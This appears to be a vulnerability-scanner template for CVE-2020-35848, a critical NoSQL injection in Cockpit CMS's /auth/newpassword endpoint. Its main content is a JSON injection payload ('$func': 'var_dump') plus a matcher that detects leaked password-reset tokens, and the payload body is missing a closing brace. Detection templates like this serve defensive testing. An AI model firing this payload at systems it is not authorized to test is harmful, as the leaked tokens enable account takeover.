id: CVE-2020-35848
info:
name: Cockpit prior to 0.12.0 NoSQL injection in /auth/newpassword
author: dwisiswant0
severity: critical
description: |
newpassword method of the Auth controller,
which is responsible for displaying the user password reset form.
reference: https://swarm.ptsecurity.com/rce-cockpit-cms/
tags: cve,cve2020,nosqli,sqli,cockpit,injection
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2020-35848
cwe-id: CWE-89
requests:
- method: POST
path:
- "{{BaseURL}}/auth/newpassword"
headers:
Content-Type: application/json
body: |
{
"token": {
"$func": "var_dump"
}
matchers:
- type: regex
part: body
regex:
- 'string\([0-9]{1,3}\)(\s)?"rp-([a-f0-9-]+)"'
